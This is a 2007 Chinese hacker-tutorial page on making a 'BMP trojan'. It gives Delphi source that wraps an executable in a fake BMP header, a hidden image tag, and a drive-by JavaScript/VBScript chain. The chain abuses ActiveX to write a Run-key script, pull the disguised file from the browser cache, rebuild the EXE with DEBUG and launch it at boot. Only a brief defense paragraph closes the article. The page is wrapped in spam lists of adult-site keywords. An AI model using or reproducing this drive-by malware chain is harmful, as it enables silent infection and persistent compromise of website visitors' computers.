国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號(hào)

黑客技巧之利用圖片做木馬應(yīng)用完全解析
2007-01-30   

何謂BMP網(wǎng)頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個(gè)EXE文件用MIME編碼為一個(gè)EML(OUT LOOK信件)文件,放到網(wǎng)頁上利用IE和OE的編碼漏洞實(shí)現(xiàn)自動(dòng)下載和執(zhí)行。

然而BMP木馬就不同,它把一個(gè)EXE文件偽裝成一個(gè)BMP圖片文件,欺騙IE自動(dòng)下載,再利用網(wǎng)頁中的JAVASCRIPT腳本查找客戶端的Internet臨時(shí)文件夾,找到下載后的BMP文件,把它拷貝到TEMP目錄。再編寫一個(gè)腳本把找到的BMP文件用DEBUG還原成EXE,并把它放到注冊(cè)表啟動(dòng)項(xiàng)中,在下一次開機(jī)時(shí)執(zhí)行。但是這種技術(shù)只能在Windows9X下發(fā)揮作用,對(duì)于Windows2000、WindowsXP來說是無能為力了。

看上去好象很復(fù)雜,下面我們一步一步來:

EXE變BMP的方法

大家自己去查查BMP文件資料就會(huì)知道,BMP文件的文件頭有54個(gè)字節(jié),簡(jiǎn)單來說里面包含了BMP文件的長寬,位數(shù),文件大小,數(shù)據(jù)區(qū)長度,我們只要在EXE文件的文件頭前面添加相應(yīng)的BMP文件頭(當(dāng)然BMP文件頭里面的數(shù)據(jù)要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗(yàn),發(fā)現(xiàn)如果文件頭不正確的話,IE是不會(huì)下載的,轉(zhuǎn)換代碼如下:

program exe2bmp; 
uses 
Windows, 
SysUtils; 
var len,row,col,fs: DWORD; 
buffer: array[0..255]of char; 
fd: WIN32_FIND_DATA; 
h,hw: THandle; 
begin 
if (ParamStr(1)’’) and(ParamStr(2)’’) then begin //如果運(yùn)行后沒有兩個(gè)參數(shù)則退出 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd); 
fs:=fd.nFileSizeLow; 
col := 4; 
while true do begin 
if (fs mod 12)=0 then begin 
len:=fs; 
end else len:=fs+12-(fs mod 12); 
row := len div col div 3; 
if row>col then begin 
col:=col+4; 
end else Break; 
end; 
FillChar(buffer,256,0); 
{一下為BMP文件頭數(shù)據(jù)} 
Buffer[0]:=’B’;Buffer[1]:=’M’; 
PDWORD(@buffer[18])^:=col; 
PDWORD(@buffer[22])^:=row; 
PDWORD(@buffer[34])^:=len; 
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54; 
PDWORD(@buffer[14])^:=40; 
PWORD(@buffer[26])^:=1; 
PWORD(@buffer[28])^:=24;
{寫入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or 
FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); 
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or 
FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); 
WriteFile(hw,buffer,54,col,0); 
repeat 
ReadFile(h,buffer,256,col,0); 
WriteFile(hw,buffer,col,col,0); 
untilcol256; 
WriteFile(hw,buffer,len-fs,col,0); 
CloseHandle(h); 
CloseHandle(hw); 
end; 
end; 
end.

以上代碼可以在DELPHI4、5、6中編譯,就可以得到一個(gè)exe2bmp.exe文件。大家打開MSDOS方式,輸入

exe2bmp myexe.exe mybmp.bmp

回車就可以把第二個(gè)參數(shù)所指定的EXE文件轉(zhuǎn)換成BMP格式。

接著就是把這個(gè)BMP圖片放到網(wǎng)頁上了,如果大家打開過這張圖片的話,一定發(fā)現(xiàn)這張BMP又花,顏色又單調(diào)。所以大家放在網(wǎng)頁上最好用這樣的格式:

<IMG width=0 higth="0" srd="mybmp.bmp">

以下是放在網(wǎng)頁上的腳本:

document.write(’ ’); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID(’{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}’); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID(’{0D43FE01-F093-11CF-8940-00A0C9054228}’); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+’\\s.vbs’; 
wsh.RegWrite 
(’HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs’,’wscript ’+’"’
+vbs+’" ’); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine(’Option Explicit’); 
st.WriteLine(’Dim FSO,WSH,CACHE,str’); 
st.WriteLine(’Set FSO = CreateObject("Scripting.FileSystemObject")’); 
st.WriteLine(’Set WSH = CreateObject("WScript.Shell")’); 
st.WriteLine(’CACHE=wsh.RegRead
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")’); 
st.WriteLine(’wsh.RegDelete
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")’); 
st.WriteLine (’
wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"’); 
st.WriteLine(’SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"’); 
st.WriteLine(’WScript.Quit()’); 
st.WriteLine(’Function SearchBMPFile(Folder,fname)’); 
st.WriteLine(’ Dim SubFolder,File,Lt,tmp,winsys’); 
st.WriteLine(’ str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname’); 
st.WriteLine(’ if FSO.FileExists(str) then’); 
st.WriteLine(’ tmp=fso.GetSpecialFolder(2) & "\\"’); 
st.WriteLine(’ winsys=fso.GetSpecialFolder(1) & "\\"’); 
st.WriteLine(’ set File=FSO.GetFile(str)’); 
st.WriteLine(’ File.Copy(tmp & "tmp.dat")’); 
st.WriteLine(’ File.Delete’); 
st.WriteLine(’ set Lt=FSO.CreateTextFile(tmp & "tmp.in")’); 
st.WriteLine(’ Lt.WriteLine("rbx")’); 
st.WriteLine(’ Lt.WriteLine("0")’); 
st.WriteLine(’ Lt.WriteLine("rcx")’); 
st.WriteLine(’ Lt.WriteLine("1000")’); 
st.WriteLine(’ Lt.WriteLine("w136")’); 
st.WriteLine(’ Lt.WriteLine("q")’); 
st.WriteLine(’ Lt.Close’); 
st.WriteLine(’ WSH.Run "command /c debug " & tmp & "tmp.dat " & tmp & "tmp.out",false,6’); 
st.WriteLine(’ On Error Resume Next ’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Delete’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.in").Delete’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.out").Delete’); 
st.WriteLine(’ end if’); 
st.WriteLine(’ If Folder.SubFolders.Count  0 Then’); 
st.WriteLine(’ For Each SubFolder In Folder.SubFolders’); 
st.WriteLine(’ SearchBMPFile SubFolder,fname’); 
st.WriteLine(’ Next’); 
st.WriteLine(’ End If’); 
st.WriteLine(’End Function’); 
st.Close(); 
} 
setTimeout(’docsave()’,1000);

把該腳本保存為"js.js",在網(wǎng)頁中插入。

該腳本主要會(huì)在本地機(jī)器的SYSTEM目錄下生成一個(gè)“S.VBS”文件,該腳本文件會(huì)在下次開機(jī)時(shí)自動(dòng)運(yùn)行。主要用于從臨時(shí)目錄中找出mybmp[1].bmp文件。

“S.VBS”文件主要內(nèi)容如下:

Option Explicit 
Dim FSO,WSH,CACHE,str 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSH = CreateObject("WScript.Shell") 
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache") 
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs") 
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe" 
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" 
WScript.Quit() 
Function SearchBMPFile(Folder,fname) 
Dim SubFolder,File,Lt,tmp,winsys 
’從臨時(shí)文件夾中查找目標(biāo)BMP圖片 
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname 
if FSO.FileExists(str) then 
tmp=fso.GetSpecialFolder(2) & "\" 
winsys=fso.GetSpecialFolder(1) & "\" 
set File=FSO.GetFile(str) 
File.Copy(tmp & "tmp.dat") 
File.Delete 
’生成一個(gè)DEBUG腳本 
set Lt=FSO.CreateTextFile(tmp & "tmp.in") 
Lt.WriteLine("rbx") 
Lt.WriteLine("0") 
Lt.WriteLine("rcx") 
’下面一行的1000是十六進(jìn)制,換回十進(jìn)制是4096(該數(shù)字是你的EXE文件的大小) 
Lt.WriteLine("1000") 
Lt.WriteLine("w136") 
Lt.WriteLine("q") 
Lt.Close 
WSH.Run "command /c debug " & tmp & "tmp.dat " & tmp & "tmp.out",false,6 
On Error Resume Next 
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe") 
FSO.GetFile(tmp & "tmp.dat").Delete 
FSO.GetFile(tmp & "tmp.in").Delete 
FSO.GetFile(tmp & "tmp.out").Delete 
end if 
If Folder.SubFolders.Count  0 Then 
For Each SubFolder In Folder.SubFolders 
SearchBMPFile SubFolder,fname 
Next 
End If 
End Function

這個(gè)腳本會(huì)找出在臨時(shí)文件夾中的bmp文件,并生成一個(gè)DEBUG的腳本,運(yùn)行時(shí)會(huì)自動(dòng)從BMP文件54字節(jié)處讀去你指定大小的數(shù)據(jù),并把它保存到tmp.dat中。后面的腳本再把它復(fù)制到SYSTEM的目錄下,這個(gè)被還原的EXE文件會(huì)在下次重起的時(shí)候運(yùn)行。這就是BMP木馬的基本實(shí)現(xiàn)過程。

防范方法

最簡(jiǎn)單,刪除或改名wscrpit.exe文件和DEBUG 文件;安裝有效的殺毒軟件,因?yàn)檫@些腳本有好多殺毒軟件已經(jīng)可以查出來了。在條件允許的情況下,安裝Windows2000 SP3,盡量避免去一些不名來歷的網(wǎng)站。


熱詞搜索:

上一篇:系統(tǒng)安全系列之淺談程序脫殼后的優(yōu)化
下一篇:系統(tǒng)安全之WindowsXP修復(fù)控制臺(tái)詳解

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
亚洲精品视频免费观看| 亚洲不卡av一区二区三区| 色综合激情五月| 美日韩黄色大片| 亚洲乱码中文字幕| 久久久综合九色合综国产精品| 欧洲精品在线观看| av男人天堂一区| 国产成人精品影视| 美日韩一区二区三区| 亚洲一二三四区不卡| 中文字幕日韩一区| 国产日韩av一区| 亚洲精品一区二区精华| 欧美高清dvd| 欧美视频在线一区| 色综合天天综合网天天狠天天| 国产福利91精品一区| 国产综合久久久久影院| 蜜臀久久99精品久久久画质超高清 | 精品国产一区二区在线观看| 在线欧美日韩精品| aaa亚洲精品| 成人免费观看视频| 成人一区二区在线观看| 国产成人无遮挡在线视频| 国产毛片精品一区| 久久国产生活片100| 日本一道高清亚洲日美韩| 亚洲第一搞黄网站| 亚洲精品乱码久久久久| 亚洲激情自拍视频| 亚洲精品自拍动漫在线| 亚洲色图自拍偷拍美腿丝袜制服诱惑麻豆| 中文字幕av一区 二区| 日本一区二区三级电影在线观看 | 在线视频国产一区| 欧美色视频在线观看| 欧美日韩在线三区| 精品1区2区3区| 7777精品伊人久久久大香线蕉经典版下载| 欧美午夜精品一区二区蜜桃| 欧美性大战久久久久久久蜜臀 | 在线观看欧美日本| 欧美高清dvd| 日韩你懂的电影在线观看| 欧美大片拔萝卜| 久久久久久电影| 亚洲欧美中日韩| 一区二区三区欧美| 丝袜亚洲另类欧美综合| 久久99国产精品免费| 国产精品乡下勾搭老头1| 成人激情免费视频| 欧美偷拍一区二区| 日韩欧美一区在线| 国产欧美视频一区二区| 亚洲欧美成人一区二区三区| 天天色天天爱天天射综合| 久久精品国产99国产| 大胆欧美人体老妇| 欧美三级日韩三级| 日韩一级成人av| 日本一区二区三区国色天香 | 一区二区三区 在线观看视频| 亚洲国产精品天堂| 日本成人在线不卡视频| 国产福利一区二区三区视频在线| 99视频一区二区| 欧美日韩黄色一区二区| 精品久久久久久久久久久久久久久| 中文字幕av一区二区三区| 一区二区三区四区在线播放| 日韩黄色免费网站| 懂色av一区二区三区免费观看| 91在线丨porny丨国产| 欧美性一二三区| 精品欧美一区二区三区精品久久| 国产精品家庭影院| 日本麻豆一区二区三区视频| 成人丝袜18视频在线观看| 欧美亚洲禁片免费| 国产日韩综合av| 日韩av一区二区三区四区| 不卡av免费在线观看| 91精品国产综合久久精品app| 国产午夜精品久久久久久久| 婷婷成人激情在线网| 成人午夜av在线| 日韩一级二级三级精品视频| 亚洲视频在线观看一区| 老汉av免费一区二区三区 | 欧美一区二区久久久| 精品精品国产高清a毛片牛牛 | av在线不卡观看免费观看| 日韩一级欧美一级| 亚洲欧美激情插| 国产综合色在线| 欧美一区二区三区免费在线看| 国产精品福利在线播放| 老司机精品视频线观看86| 欧美三级视频在线观看| 中文字幕一区二区三区四区不卡 | 国内不卡的二区三区中文字幕 | 久久亚洲精华国产精华液| 夜夜嗨av一区二区三区四季av | 日韩美女在线视频| 午夜国产精品影院在线观看| 91理论电影在线观看| 国产日韩欧美高清在线| 久久疯狂做爰流白浆xx| 欧美视频中文字幕| 亚洲欧美一区二区三区国产精品 | 欧美一卡2卡三卡4卡5免费| 亚洲少妇中出一区| 成人av网址在线| www欧美成人18+| 精品一区二区在线视频| 678五月天丁香亚洲综合网| 亚洲日本在线a| av一区二区久久| 国产精品麻豆一区二区| 国产不卡视频一区二区三区| 久久综合狠狠综合久久综合88 | 日韩不卡手机在线v区| 欧美日韩视频在线一区二区| 亚洲激情校园春色| 99国产精品视频免费观看| 国产精品大尺度| av在线不卡电影| 亚洲精品国产无天堂网2021 | av电影在线不卡| 综合色中文字幕| 99re亚洲国产精品| 亚洲欧洲无码一区二区三区| 成人激情电影免费在线观看| 欧美经典一区二区| 99re热视频精品| 亚洲美女一区二区三区| 欧洲av在线精品| 亚洲成av人片一区二区三区| 欧美另类一区二区三区| 亚洲va天堂va国产va久| 777xxx欧美| 国内精品久久久久影院一蜜桃| 久久九九久久九九| 成人毛片老司机大片| 亚洲麻豆国产自偷在线| 欧美无乱码久久久免费午夜一区| 亚洲一二三区视频在线观看| 欧美日产国产精品| 精品在线亚洲视频| 久久久精品黄色| 91麻豆6部合集magnet| 午夜精品久久久久影视| 日韩三级中文字幕| 国产成人av资源| 一区二区三区四区不卡视频| 91精品久久久久久久99蜜桃| 激情综合网天天干| 国产精品美女久久久久久久久| 色呦呦日韩精品| 日本大胆欧美人术艺术动态 | 国产三级精品视频| 一本久久a久久免费精品不卡| 一区二区三区日韩在线观看| 亚洲国产精品av| 欧美xingq一区二区| 亚洲激情男女视频| 亚洲婷婷在线视频| 一区二区三区精品| 午夜日韩在线电影| 免费成人小视频| 久久精品国产亚洲a| 日本vs亚洲vs韩国一区三区| 污片在线观看一区二区| 午夜免费欧美电影| 久久精品国产亚洲高清剧情介绍 | 日本不卡一区二区三区高清视频| 精品国产免费人成在线观看| av一区二区三区黑人| 视频一区视频二区中文| 中文字幕av资源一区| 欧美日韩午夜在线| 成人午夜免费视频| 天天操天天色综合| 国产精品国产三级国产aⅴ中文| 欧美日韩aaaaaa| 成人动漫av在线| 久久国产综合精品| 一区二区三区日韩| 欧美激情综合五月色丁香| 欧美日韩久久一区| www.日韩精品| 久久国产福利国产秒拍| 亚洲图片欧美一区| 中文字幕一区二区三区在线观看| 精品奇米国产一区二区三区| 欧美日韩小视频| 色综合久久九月婷婷色综合|